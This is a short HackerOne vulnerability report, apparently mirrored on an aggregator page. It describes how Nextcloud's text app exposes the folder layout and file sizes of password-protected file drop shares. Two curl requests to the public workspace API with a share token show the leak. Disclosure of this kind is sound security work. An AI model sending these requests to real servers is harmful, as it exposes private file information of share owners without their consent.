Lucene search

K
hackeroneShakierbellowsH1:1337422
HistorySep 12, 2021 - 10:40 a.m.

Nextcloud: Folder architecture and Filesizes of private file drop shares can be getten

2021-09-1210:40:41
shakierbellows
hackerone.com
21

0.001 Low

EPSS

Percentile

26.4%

Steps To Reproduce:

  1. Create a new Folder “TestABC”
  2. Share a password protected link of this folder
  3. Create a file “README.md” and a file “README.md” in the Subfolder “Subfolder”.

==> curl -H “OCS-APIREQUEST: true” “http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345

==> curl -H “OCS-APIREQUEST: true” “http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345&folder=subfolder

Impact

Folder architecture and Filesizes of private file drop shares can be getten

0.001 Low

EPSS

Percentile

26.4%